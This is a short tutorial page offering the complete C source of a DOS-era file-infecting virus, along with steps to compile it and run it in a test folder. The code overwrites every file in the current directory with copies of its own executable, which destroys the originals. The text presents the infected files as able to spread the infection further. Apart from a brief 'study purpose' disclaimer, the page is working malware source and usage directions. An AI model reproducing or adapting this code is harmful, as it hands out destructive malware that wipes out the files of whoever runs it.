Create Virus In 'C' Programming Language

Create computer virus in 'C' programming language(Only for study purpose). This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

Coding

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();
}

COMPILING

• Load the program in the compiler, press Alt-F9 to compile

• Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

TESTING

• Open new empty folder

• Put some EXE Files & Generated EXE File

• Run the virus EXE file there you will see all the files in the current directory get infected.

• All the infected files will be ready to reinfection